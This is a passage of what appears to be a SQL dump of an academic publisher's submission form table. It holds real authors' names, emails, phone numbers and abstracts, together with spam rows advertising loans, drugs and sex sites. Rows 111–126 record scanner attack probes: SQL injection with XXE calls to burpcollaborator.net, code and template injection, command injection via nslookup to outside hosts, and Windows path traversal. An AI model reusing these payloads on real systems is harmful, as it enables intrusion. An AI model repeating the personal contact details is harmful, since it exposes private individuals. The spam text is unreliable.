Loan PC','','Australia','soegtroperin@pochtar.men ','84697711562','hhoxeleu','https://creditloansguaranteedapproval.com ','bad credit loans direct lenders <a href=\"https://creditloansguaranteedapproval.com\">american financial loans</a> credit loans guaranteed approval <a>installment plan</a> ','Journal of Surgery and Insights','','','2018-10-11 23:03:45'),(47,'MR','Payday ','Payday ','','USA','shera@rainmail.win ','81743686635','aihkfasi','https://creditloansguaranteedapproval.com ','credit loans guaranteed approval <a href=\"https://creditloansguaranteedapproval.com\">credit loans guaranteed approval</a> credit loans guaranteed approval <a>poor credit loans</a> ','Open Access Journal of Agriculture Research','','','2018-10-13 11:21:46'),(48,'Mrs','Loan ','Loans Online PC','','Australia','wendyhendricks@pochtar.men ','89986465567','psazwcjw','https://creditloansguaranteedapproval.com/ ','poor credit loans guaranteed approval <a href=\"https://creditloansguaranteedapproval.com/\">credit loans guaranteed approval</a> bad credit loans direct lenders <a>loans comparison</a> ','Emerging Infectious Diseases and Diagnosis Journal','','','2018-10-15 23:02:30'),(49,'MR','Payday Loan Online ','Payday Loan Online ','','USA','borczynska@rainmail.win ','83741236957','qkksceav','https://creditloansguaranteedapproval.com/ ','credit loans guaranteed approval <a href=\"https://creditloansguaranteedapproval.com/\">payday loans online</a> poor credit loans <a>poor credit loans guaranteed approval</a> ','Open Access Journal of Endocrinology Disorders','','','2018-10-17 08:13:55'),(50,'Miss','Loans For Bad Credit ','Personal Loans PC','','Australia','melissasctrs@pochtar.men ','88532179923','eajqhdxm','https://creditloansguaranteedapproval.com/ ','poor credit loans guaranteed approval <a href=\"https://creditloansguaranteedapproval.com/\">credit loans guaranteed approval</a> bad credit loans guaranteed approval <a>credit loans guaranteed approval</a> ','Emerging Infectious Diseases and Diagnosis Journal','','','2018-10-18 18:54:33'),(51,'Mrs','Payday Loan Online ','Payday Loan Online ','','USA','jayleeawilliams@rainmail.win ','88682995356','eaubqqji','https://creditloansguaranteedapproval.com/ ','debt consolidation programs <a href=\"https://creditloansguaranteedapproval.com/\">credit loans guaranteed approval</a> bad credit loans guaranteed approval <a>credit loans guaranteed approval</a> ','Current Research in Psychiatry and Brain Disorders','','','2018-10-20 03:16:28'),(52,'','','','','','','','','','','','','','2018-10-24 12:35:25'),(53,'MR','Muhammad Waseem','Abbas','Agricultural University Peshawar','Pakistan','farhan.agr@aup.edu.pk','03159198887','Response of Okra to various levels of applied Nitrogen and Phosphorus fertilizers','Agriculture University Peshawar','Dear Sir Kindly process my article for publication as soon as possible','Open Access Journal of Agriculture Research','To determine the effects of the different amount of Nitrogen and Phosphorus on Okra A field trial was conducted at Soil and Water Testing Laboratory Charsadda in April 2017 The composite sample was taken for comparison N and P2O5 fertilizers were app','1540364774.docx','2018-10-24 12:36:14'),(54,'DR','Ago','Harlim','Cristian University Of Indonesia','Indonesia','agoharlim@yahoo.com','+62816854083','Interaction Between Dimethylpolysiloxane and Autologous Plasma Triggering  In Vitro Inflammation In Cultured PBMC','Gajah mada 193A, Jakarta 1120, Indonesia','Here by I attached my abstract about Interaction Between Dimethylpolysiloxane and Autologous Plasma Triggering  In Vitro Inflammation In Cultured PBMC.','Current Updates in Dermatological Problems','The data obtained from this study try to explain the mechanism of cellular immune response of DMPS-injected recipients with in vitro-based method to get the description of immune responses that occurs in the body due to exposure to DMPS which can lea','1540900939.docx','2018-10-30 17:32:19'),(55,'Mrs','Brigitta','Szilagyi','University of Pecs Faculty of Health Sciences Institute of Physiotherapy and Sport Science','Hungary','brigitta.szilagyi@etk.pte.hu','+3672535980','Evaluation and development of knowledge of spinal function and posture with back school program among primary school children','Ret street 4.','I could not insert the whole abstract, but the manuscript contains it.','Journal of Sports Science and Physical Therapy','Purpose: To assess the knowledge of spinal function and posture of primary school-aged children. To develop and apply an educational curriculum, exercise program and workbook for children, who can not read or write yet. To examine the efficiency of t','1542484032.docx','2018-11-18 01:17:12'),(56,'MR','j8l4l5g5','p1x7h9i2DP','','Saudi Arabia','ftxbzhdg@gmail.com','86859271923','buy cheap clomifene  hshf','https://clomifene.icu/','<a href=\" https://clomifene.icu/ \">clomifene</a>, online clomifene \r\ncheap clomifene - <a href=\" https://clomifene.icu/ \">online clomifene</a> \r\nhttps://clomifene.icu/','Current Trends in Genetics and Microbiology','','','2018-11-18 16:17:25'),(57,'Mrs','Christine','Do','Massachusetts General Hospital. Harvard Medical School.','USA','christinedo48@gmail.com','1-781-363-3436','Argyria in a Pediatric Patient Ingesting Silver Nitrate','Massachusetts General Hospital, Department of Pharmacy, 55 Fruit Street, Boston, MA 02114, USA','Dear Annals of Pediatrics and Child Care: Please kindly consider our manuscript regarding a pediatric patient who developed argyria after chronic oral consumption of silver nitrate as an alternative medicinal therapy.','Annals of Pediatrics and Child Care','Historically used for its putative antimicrobial properties, chronic ingestion of silver can result in argyria, characterized by discoloration of skin and mucous membranes. We report a child with argyria resulting from silver nitrate consumption as a','1543165025.docx','2018-11-25 22:27:05'),(58,'DR','Steven','Habusta','Lake Erie College of Osteopathic Medicine ','USA','shabusta@lecom.edu','814-868-8206','Physician Text Messaging as a facilitator for Patient Care','LECOM Eastside Medical, 2625 Parade Street, Erie, Pennsylvania, 16504, USA','I would like to submit our paper on Text Messaging in Patient Care for your review and consideration of publication in your journal, Chronicles of Complementary, Alternative, and Integrative Medicine.   Because of the vast use of texting by health ca','Chronicles of Complementary, Alternative & Integrative','Texting has become a common form of communication throughout the world.  In addition to its use for social communication, texting has entered the workforce as a valuable tool used for communication of patient care information.  A survey was sent to p','1543256344.docx','2018-11-26 23:49:04'),(59,'DR','Akbar','Mohammadrezaei','Iran','Iran','n.masl12@yahoo.com','00905384010704','vitiligo','Turkey, Ankara','Publication','Current Updates in Dermatological Problems','A Permanent Cure for Vitiligo: Immigration of Healthy Skin Cells to Unhealthy Sides of the Skin in Vitiligo        This article is about a skin disorder which manifests itself as white patches (pigment destruction) in different locations of the body.','1543564727.docx','2018-11-30 13:28:47'),(60,'DR','Alessandra','Semenzato','University of Padova','Italy','alessandra.semenzato@unipd.it','+390498275356','A New Synthetic Endocannabinoid as Anti Inflammaging Cosmetic Active. An In Vitro Study on a Reconstructed Skin Model','Via Francesco Marzolo 5, 35131, Padova, Italy','Dear Editor, I would like to submit the results of an in vitro work on a new cosmetic ingredient, Isopalmide, which is a synthetic endocannabinoid that can be used to prevent and improve inflammaging. I hope that the topic fits your journal, regardin','Current Updates in Dermatological Problems','Endocannabinoids have been recently appointed as interesting cosmetic actives in regulating inflammaging, a state of chronic low grade inflammation, known for being involved in many senescence manifestations, included skin aging. The aim of this stud','1544112368.docx','2018-12-06 21:36:08'),(61,'Mrs','Christine','Do','Massachusetts General Hospital','USA','christinedo48@gmail.com','1-781-363-3436','Argyria in a Pediatric Patient Ingesting Silver Nitrate','424 Massachusetts Avenue #401, Boston, Massachusetts 02118 USA','Hello, please see the revised draft of our manuscript after consideration of the reviewers edits. I had emailed this final edited draft (along with the draft with track changes) to Juniata Ortiz on December 4, but did not get a response. However, I k','Annals of Pediatrics and Child Care','Historically used for its putative antimicrobial properties, chronic ingestion of silver can result in argyria, characterized by discoloration of skin and mucous membranes. We report the case of a pediatric patient with generalized argyria resulting ','1544564229.docx','2018-12-12 03:07:09'),(62,'DR','Sahara','Knight','PH University','Pakistan','saharaknight@phuniversity.com','+880 14 743 78374','A Methodology for the Exploration of Web Browsers','Room #16, Top Floor, Block # 2, Civil Secretariat, Zarghoon Road, Quetta','Publish it. Inshallah','Advanced Research in Biosensor and Bioelectronics','The investigation of vacuum tubes is a confusing riddle. After years of robust research into voice-over-IP, we show the unproven unification of massive multiplayer online role-playing games and the transistor, which embodies the key principles of e-v','1544627095.pdf','2018-12-12 20:34:55'),(63,'','','','','','','','','','','','','','2018-12-13 06:00:07'),(64,'','','','','','','','','','','','','','2018-12-13 06:00:08'),(65,'','','','','','','','','','','','','','2018-12-13 06:00:08'),(66,'MR','Milkessa','Asfaw','Mizan Tepi University','Ethiopia','milkessa@mtu.edu.et','0910586773','Economic Efficiency of Smallholder Farmers in Wheat Production. The case of Abuna Gindeberet District Oromia National Regional State Ethiopia','Mizan, Ethiopia','I want to publish it','Open Access Journal of Agriculture Research','Productivity enhancement through enhancing efficiency in cereal production in general and in wheat production in particular could be an important speed towards achieving food security. This study was aimed at estimating the levels of technical, alloc','1544792896.docx','2018-12-14 18:38:15'),(67,'MR','Demesew','Mhiret','Bahir Dar','Ethiopia','demisalmaw@gmail.com','+251918300305','Crop land Suitability Analysis for Major crops in Koga irrigation scheme','Bahir Dar','Looking forward for your positive response','Open Access Journal of Agriculture Research','Land suitability analysis is a prerequisite in achieving optimum utilization of the available land resources. Lack of knowledge on best combination of factors that suit production of crops has contributed to the low production. The aim of this study ','1545061044.docx','2018-12-17 21:07:26'),(68,'','','','','','','','','','','','','','2018-12-17 21:27:05'),(69,'','','','','','','','','','','','','','2018-12-20 04:55:55'),(70,'DR','Henning ','Bliddal','Copenhagen','Denmark','henning.bliddal@regionh.dk','004538164158','Safety of intra articular polyacrylamide hydrogel for the treatment of knee osteoarthritis symptoms. A retrospective case series','The Parker Institute, Copenhagen University Hospital Bispebjerg Frederiksberg, Copenhagen 2000 F, Denmark','Dear Editor, I hope you share our interest in intra articular treatment for knee osteoarthritis. We have so few options and this article deals with the safety of a new compound. Kind regards Henning Bliddal','Clinical Orthopedics Advanced Research Journal','Objective: To assess the safety intra-articular (IA) polyacrylamide gel (PAAG) treatment for knee OA symptoms. ','1545302726.docx','2018-12-20 16:15:26'),(71,'DR','Ling','Li','South China Normal University','China','liling502@126.com','+86 013450212343','AhHDA1 is involved in the epigenetic regulation of the drought stress response','Guangdong Provincial Key Laboratory of Biotechnology for Plant Development, School of Life Sciences, South China Normal University, Guangzhou 510631','No conflict of interest exits in the submission of this manuscript, and manuscript is approved by all authors for publication. I would like to declare on behalf of my co-authors that the work described that has not been published previously, and not ','Current Trends in Biotechnology and Biochemistry','Epigenetic control of chromatin structure plays a critical role in plant stress responses. Thus, histone density and various histone modifications are involved in the response to both drought and the phytohormone abscisic acid (ABA) in various plants','1545578762.pdf','2018-12-23 20:56:02'),(72,'','','','','','','','','','','','','','2019-01-02 21:38:08'),(73,'MR','Mindaugas','Sakys','Vilnius University ','Lithuania','mindaugassakys@yahoo.co.uk','+37064454944','RARE CASE OF FETUS NEURAL TUBE DEFECT SPINA BIFIDA WITH SEVERE HYDROCEPHALUS.','Zemoji street 100A Vilnius','Looking forward for the prompt answer on acceptance','Annals of Pediatrics and Child Care','RARE CASE OF FETUS NEURAL TUBE DEFECT: SPINA BIFIDA WITH SE-VERE HYDROCEPHALUS.  ABSTRACT  Neural tube defects are congenital spinal cord, spine or brain malformations. Clini-cal manifestation of neural tube defects varies from mild form to severe - ','1547977787.docx','2019-01-20 15:19:47'),(74,'Mrs','KelAnycle','KelAnycleBI','','Portugal','kelGymn@emaill.host','88197362288','Viagra Ou Cialis Levitra KelAnycle','http://dan5325.com','Is Ampicillin The Same As Amoxicillin  <a>cialis 20mg price at walmart</a> Ingredients Cephalexin  Amoxil Online Cvs Online Chlamydia Medicine  <a>cialis for sale</a> Levitra Cialis Compared Where To Buy Dutasteride 0.5mg Website  30 Day Cialis 5mg C','Annals of Medical & Surgical Case Reports','','','2019-01-21 17:20:09'),(75,'DR','William','Simpson','Oklahoma State University College of Osteopathic Medicine','USA','wsimpson@nhs-ok.org','918-506-6880','Ginger as a Possible Alternative Treatment for Gastroparesis','see attached','letter attached','Chronicles of Complementary, Alternative & Integrative','Gastroparesis is frequently a difficult gastrointestinal disease to adequately treat with currently available conventional medications producing a variable response at the cost of a potentially significant side effect burden.  The medicinal herb ging','1548254648.docx','2019-01-23 20:14:08'),(76,'Mrs','Chantal','Verhille','KU Leuven','Belgium','chantal.verhille@skynet.be','0495356534','Consensus statement on physical rehabilitation in children and adolescents with Osteogenesis imperfecta','Herestraat 49, 3000 Leuven, Belgium','no comments.','Annals of Pediatrics and Child Care','On the occasion of the 13th International Conference on Osteogenesis Imperfecta in August 2017 an expert panel was convened to develop an international consensus paper regarding physical rehabilitation in children and adolescents with Osteogenesis Im','1548257585.pdf','2019-01-23 21:03:07'),(77,'DR','LYDIE JOELLE','SEUDJIP NONO','UNIVERSITY OF KINSHASA','Congo, the Democratic Republic of the','seupiziemi@gmail.com','00243991845776','PROFILE OF THE ETIOLOGICAL GROUPS OF THE DERMATOSES OF THE CHILD AT THE KINSHASA UNIVERSITY CLINIC  DEMOCRATIC REPUBLIC OF THE CONGO','UNIVERSITY OF KINSHASA UNIVERSITY CLINICS OF KINSHASA DERMATOLOGY DEPARTEMENT','Good evening Dear all. I have the honor to submit in your review our article on skin diseases in children in Republic of Congo with Hope that it will hold your attention. Best regards','Current Updates in Dermatological Problems','Summary Context and objectives: The dermatoses of the child are a frequent reason for consultation in sub-Saharan Africa and in the Democratic Republic of the Congo in particular. The objective of this study is to determine the profile of dermatoses ','1548892278.docx','2019-01-31 05:21:18'),(78,'DR','Ahsan','Zil E Ali','FMH College of Medicine and Dentistry','Pakistan','ahsanzileali@gmail.com','+92-333-4026265','A Novel Approach of Diagnosing Hepatocellular Carcinoma by Heat Shock Proteins','FMH College of Medicine and Dentistry, Fatima Memorial Hospital, Shadman, Lahore-54000','-','Clinical Oncology Research Journal','Hepatocellular Carcinoma (HCC) is a malignant tumor of the liver with massive morbidity and mortality. Early diagnosis and treatment is necessary to eliminate the disease and to prevent its remission. This study focuses on the role of Heat Shock Prot','1548927142.docx','2019-01-31 15:02:21'),(79,'MR','Zeeshan Ahmad','Sirang','The University of Agriculture  Peshawar','Pakistan','zeeshanahmadsirang94@gmail.com','03013000289','Effect of Sowing Methods on the Performance of Lentil Cultivars Grown under Irrigated and Unirrigated Conditions','Department of Agronomy The University of Agriculture, Peshawar.','kindly accept my article.','Open Access Journal of Agriculture Research','Effect of Sowing Methods on the Performance of Lentil Cultivars Grown under Irrigated and Un-irrigated Conditions','1549279010.docx','2019-02-04 16:46:50'),(80,'MR','Zeeshan Ahmad','sirang','The University of Agriculture Peshawar','Pakistan','zeeshanahmadsirang94@gmail.com','03000919821','Effect of Sowing Methods on the Performance of Lentil Cultivars Grown under Irrigated and Unirrigated conditions','department of Agronomy','sir kindly send me submission acknowledgement email.','Open Access Journal of Agriculture Research','Effect of sowing methods on the performance of Lentil cultivars grown under Irrigated and unirrigated conditions','1549301715.docx','2019-02-04 23:05:15'),(81,'','','','','','','','','','','','','','2019-02-06 20:46:08'),(82,'','','','','','','','','','','','','','2019-02-06 20:46:09'),(83,'','','','','','','','','','','','','','2019-02-06 20:46:10'),(84,'DR','Yan','Yang','Wuhan University','China','yangyan209@whu.edu.cn','13907172703','Dentistry Point of View in the Obstructive Sleep Apnea and Snoring Patients An Overview','Stomatology Department, Zhongnan Hospital, Wuhan University, Wuhan, Hubei 430000, China','OK','Dentistry and Dental Ailments Journal','This paper presents an overview of the Sleep apnea and snoring. In addition, to answer a question which is: can dental practitioners prevent or even improve the snoring using oral appliances?','1549542028.docx','2019-02-07 17:50:30'),(85,'Miss','Sobha','El Ftouh','Mohammed V University','Morocco','sobhaelftouh13@gmail.com','212623841144','Procalcitonin values in respiratory infections children under five years old Viral infections versus Bacterial infections','BP 6527,Rue Lamfadel Cherkaoui Rabat Institut ','I would like to submit this Article in  Annal of Pediatrics and Child Care ','Annals of Pediatrics and Child Care','Background/Aims: Procalcitonin (PCT) may prove to be a useful marker to differentiate viral respiratory infection from bacterial respiratory infection episodes in children.  Methods: children under 5 years old with suspected Respiratory Infections an','1549543386.docx','2019-02-07 18:13:05'),(86,'DR','William','Simpson','Oklahoma State University College of Osteopathic Medicine','USA','wsimpson@nhs-ok.org','918-506-6880','Ginger as a Possible Alternative Treatment for Gastroparesis','205 Harris Circle, Suite 201, Tahlequah, OK 74464  USA','Revised','Chronicles of Complementary, Alternative & Integrative','Gastroparesis is frequently a difficult gastrointestinal disease to adequately treat with currently available conventional medications producing a variable response at the cost of a potentially significant side effect burden.  The medicinal herb ging','1549847876.docx','2019-02-11 06:47:56'),(87,'DR','Aly','Chiman','','Malaysia','aly1@alychidesigns.com','519-490-3273','','Hello there,\r\n\r\nMy name is Aly and I would like to know if you would have any interest to have your website here at grfpublishers.com promoted as a resource on our blog alychidesign.com ? \r\n\r\nWe are in the midst of updating our broken link resources ','Hello there,\r\n\r\nMy name is Aly and I would like to know if you would have any interest to have your website here at grfpublishers.com promoted as a resource on our blog alychidesign.com ? \r\n\r\nWe are in the midst of updating our broken link resources ','International Journal of Education Advancement','','','2019-02-11 22:23:41'),(88,'MR','Rex','Anane','Yunnan Agricultural University','China','nanaraf@live.com','+8615559850315','Complete Genome Sequence of Agrobacterium sp. ATCC 31749 and Insights into its Curdlan Biosynthesis.','Yunnan Agricultural University, Fengyuan Road, Panlong District, Kunming 650201, Yunnan Province, China','The authors wish to submit this manuscript for publication in Current Trends in Genetics and Microbiology journal. The authors wish that this msnuscript will be peer reviewed as soon as possible.','Current Trends in Genetics and Microbiology','Curdlan is an important glucan that is extensively used in food and pharmaceutical industries for production of food and medicines, and its natural producer is the Agrobacterium sp. ATCC 31749. Understanding its complete genome will provide great ins','1550301932.docx','2019-02-16 12:55:38'),(89,'MR','Rex','Anane','Yunnan Agricultural University','China','rfanane@outlook.com','+8615559850315','Complete Genome Sequence of Agrobacterium sp. ATCC 31749 and Insights into its Curdlan Biosynthesis.','Yunnan Agricultural University, Fengyuan Road, Panlong District, Kunming 650201, Yunnan Province, China.','The authors wish to submit this manuscript for publication in \"Current Trends in Genetics and Microbiology\" journal.','Current Trends in Genetics and Microbiology','Curdlan is an important glucan that is extensively used in food and pharmaceutical industries for production of food and medicines, and its natural producer is the Agrobacterium sp. ATCC 31749. Understanding its complete genome will provide great ins','1550303224.docx','2019-02-16 13:17:09'),(90,'MR','Antwanmat','AntwanmatLG','','Guatemala','yourmail@gmail.com','88286835649','Test, just a test','','Hello. And Bye.','Emergency Medicine and Trauma Care Journal','','','2019-02-22 05:59:05'),(91,'MR','Shawnhob','ShawnhobVQ','','Taiwan, Province of China','coxmilton@msn.com','84652738194','Beautiful girls for sex in your city','','Find yourself a girl for the night in your city: https://arill.us/getsexinyourcity88935','Ophthalmology and Eye Research Journal','','','2019-02-24 15:05:23'),(92,'Mrs','Shawnhob','ShawnhobVQ','','Taiwan, Province of China','missstrega@hotmail.com','85995592968','The best women for sex in your town','','The best girls for sex in your town: http://tropaadet.dk/getsexinyourcity52910','Advances of Otolaryngology and Rhinology Research','','','2019-02-25 19:47:56'),(93,'Mrs','Migueldaype','MigueldaypeIO','','Germany','edwincd@hotmail.com','83633729785','Win an iPhone X','','You win iPhone X: http://yourls.site/ouinphone84658','Clinical Orthopedics Advanced Research Journal','','','2019-02-28 08:57:14'),(94,'DR','Ramesh','Kumar','Andhra','India','its.ramesh@gmail.com','+1 2165465444','check','kljfl,jsflakf','kjasfkja fahjjkh','Advanced Research in Biosensor and Bioelectronics','kjhkjhlkjgh','1551367525.docx','2019-02-28 20:55:24'),(95,'Mrs','DanielQueew','DanielQueewSI','','Moldova, Republic of','grouchym@earthlink.net','82727442844','15 Easy Ways to Make Sex Last','','Top tips for lasting longer in bed: http://yourls.site/astongerined40159','Advances of Otolaryngology and Rhinology Research','','','2019-03-02 05:38:50'),(96,'Mrs','KevinGratt','KevinGrattGG','','Ukraine','jhmaurice@aol.com','88589659166','Natural Stress Solutions CBD Capsules Daytime (Standard)','','Natural Stress Solutions CBD Capsules Night (Sleep): https://arill.us/aturaltressolutions25720','Clinical Orthopedics Advanced Research Journal','','','2019-03-02 08:51:48'),(97,'Mrs','Santosjum','SantosjumXA','','Senegal','cdharms@hotmail.com','89163865636','How to make $450 per hour','','How to make $450 per hour: http://jnl.io/investcrypto90068918','Emerging Infectious Diseases and Diagnosis Journal','','','2019-03-02 21:04:03'),(98,'MR','Nigusu','Abera','Salale','Ethiopia','boonaaifaa@gmail.com','0925582670','Technical Efficiency of Smallholder Teff Production.','Fitche, Ethiopia','Dear publisher, the attached file is the research manuscript prepared according to the journal guideline. The research was not published elsewhere. Therefore, i kindly request you to review and publish in the OAJAR. I wait a good response from you so','Open Access Journal of Agriculture Research','A policy maker interest might lie on both knowing how far a given farm could increase its output without using further resources through improvement of efficiency and also identification of significant variables affecting efficiency for intervention.','1552897751.docx','2019-03-18 13:59:10'),(99,'MR','Nigusu','Abera','Salale','Ethiopia','boonaaifaa@gmail.com','0925582670','Technical Efficiency of Smallholder Teff Production.','Fitche, Ethiopia','This the Title page of the manuscript.','Open Access Journal of Agriculture Research','A policy maker interest might lie on both knowing how far a given farm could increase its output without using further resources through improvement of efficiency and also identification of significant variables affecting efficiency for intervention.','1552898166.docx','2019-03-18 14:06:05'),(100,'DR','zakir','aliyev','???????? ???????????? ? ????????? ??? ????????????','Azerbaijan','zakirakdemik@mail.ru','+994504242130','','????? ?.?????? 5','','Open Access Journal of Agriculture Research','Abstract: The results of the study revealed that the mismatch intensity rain rate of water absorption into the soil formation of a surface relief and soil erosion, uneven and shallow soaking imperfection open irrigation system at a superficial irriga','1552914957.docx','2019-03-18 18:45:56'),(101,'','','','','','','','','','','','','','2019-03-18 18:46:17'),(102,'DR','Sergio','ELENI DIT TROLLI','CHU Nice','France','elenidittrolli.s@chu-nice.fr','+33615281794','Medullary ischemic infarction in an extreme premature newborn','151 route de Saint Antoine Nice','To the Managing Editor of Annals of Pediatrics and Child Care. Respect sir, I have pleasure, as corresponding author, tu submit the enclosed article on the above-mentionned subject for publication in Annals of Pediatrics and Child Care. It reorts a c','Annals of Pediatrics and Child Care','A newborn, born at 26 gestational weeks displayed an acute paralysis in his upper body and diaphragm. These symptoms are caused by a medullary infarction, a rare pathology in the premature newborn of undetermined cause','1552993836.doc','2019-03-19 16:40:36'),(103,'MR','Mahesh','Mundayadan Chandroth','Mid North Coast Cancer Institute Port Macquarie','Australia','Mahesh.Mundayadanchandroth@health.nsw.gov.au','+61467735510','Flattening filter free beams for 3DCRT Is shape of the beam profile an added advantage','Department of Radiation Oncology Mid North Coast Cancer Institute Port Macquarie NSW Australia 2444','This write up is about a novel and unique technique developed to treat BCC of the Nose using FFF beams. ','Clinical Oncology Research Journal','Megavoltage radiotherapy has proven to be highly effective for the treatment of basal cell carcinoma (BCC) of the nose. A common treatment technique has been 3D conformal, half-beam blocked, lateral, parallel opposed, 6 MV flat beams, using a symmetr','1553044033.docx','2019-03-20 06:37:13'),(104,'DR','hassam','ali','Quaideazam medical college pakistan','Pakistan','hassamali@live.com','+923347889906','Study Of Factors Associated With Scabies In Out Patient Department Of Bahawal Victoria Hospital.','Bahawalpur victoria hospital bahawalpur pakistan','Was contacted via email for article.','Emerging Infectious Diseases and Diagnosis Journal','Scabies has long been an issue of our hospital settings, not only among patients but the staff also gets affected from it.  Objective of this study was to look into various factors that are associated with scabies transmission in the patients who cam','1553070858.docx','2019-03-20 14:04:18'),(105,'MR','dharmesh','jagani','Gujrat Technological University ','India','dharmeshjagani10@gmail.com','704108881','BIOSENSOR APPLICATION IN HEALTHCARE','GANDHINAGAR, SECTOR 26','REGARDING PAPER PUBLICATION ','Advanced Research in Biosensor and Bioelectronics','This paper discusses various biosensors in detail, where the biosensor consists of bioelement and a sensor element. Biosensor is a device that consists of two main parts: A bioreceptor and a transducer. Bioreceptor is a biological component that reco','1553250720.docx','2019-03-22 16:01:59'),(106,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427265.txt','2019-03-24 17:04:24'),(107,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427404.txt','2019-03-24 17:06:43'),(108,'DR','Peter','Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427405.txt','2019-03-24 17:06:45'),(109,'DR','Peter','id48l9gh0d','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427414.txt','2019-03-24 17:06:53'),(110,'DR','Peter','Winterckyhcedkfe','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427417.txt','2019-03-24 17:06:57'),(111,'DR','Peter','(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % oyyzy SYSTEM \"http://064hn3gycrta9914fpj5buvvsmyhmkacx2lr.burpcollab\'||\'orator.net/\">%oyyzy;]>\'),\'/l\') from dual)','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427420.txt','2019-03-24 17:06:59'),(112,'DR','Peter','Winter\'||(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % oyyzy SYSTEM \"http://176io4hzdsubaa25gqk6cvwwtnzinmbey4mt.burpcollab\'||\'orator.net/\">%oyyzy;]>\'),\'/l\') from dual)||\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427422.txt','2019-03-24 17:07:02'),(113,'','','','','','','','','','','','','','2019-03-24 17:09:10'),(114,'DR','Peter','nw3kd${442*134}ff43m','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427562.txt','2019-03-24 17:09:22'),(115,'DR','Peter','Winter\'+sleep(20.to_i)+\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427689.txt','2019-03-24 17:11:28'),(116,'DR','Peter','Winter\'+eval&#40;compile(\'for x in range(1&#41;:\\n import time\\n time.sleep(20)\',\'a\',\'single\'))+\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427689.txt','2019-03-24 17:11:29'),(117,'DR','Peter','eval&#40;compile(\'for x in range(1&#41;:\\n import time\\n time.sleep(20)\',\'a\',\'single\'))','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427690.txt','2019-03-24 17:11:30'),(118,'DR','Peter','Winter\'.sleep(20).\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427692.txt','2019-03-24 17:11:31'),(119,'DR','Peter','Winter{${sleep(20)}}','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427693.txt','2019-03-24 17:11:32'),(120,'DR','Peter','86cpnbg6czti9h1cfxjdb2v3suypmha9xzlo.burpcollaborator.net','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427694.txt','2019-03-24 17:11:34'),(121,'DR','Peter','http://5djmu8n3jw0fge89muqaiz20zr5mtch44usj.burpcollaborator.net/?Winter','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427696.txt','2019-03-24 17:11:35'),(122,'DR','Peter','Winter|nslookup -q=cname 2vyjc5501ticybq64r870wkxhonjbfz7mxam.burpcollaborator.net.&','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427697.txt','2019-03-24 17:11:37'),(123,'DR','Peter','Winter\'\"`0&nslookup -q=cname dububg4b04hnxmph327iz7j8gzmuaryjl99y.burpcollaborator.net.&`\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427699.txt','2019-03-24 17:11:39'),(124,'DR','Peter','Winter&nslookup -q=cname 9lvq2cv7r08joigduyyeq3a47vdq1lpdc30s.burpcollaborator.net.&\'\\\"`0&nslookup -q=cname 9lvq2cv7r08joigduyyeq3a47vdq1lpdc30s.burpcollaborator.net.&`\'','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427702.txt','2019-03-24 17:11:42'),(125,'DR','Peter','Winter|echo u3u2k6xhbs 4sd694a0g4||a #\' |echo u3u2k6xhbs 4sd694a0g4||a #|\" |echo u3u2k6xhbs 4sd694a0g4||a #','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427704.txt','2019-03-24 17:11:44'),(126,'DR','Peter','..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini','555-555-0199@example.com','Afghanistan','winter@example.com','555-555-0199','555-555-0199@example.com','','','Dentistry+and+Dental+Ailments+Journal','555-555-0199@example.com','1553427830.txt','2019-03-24 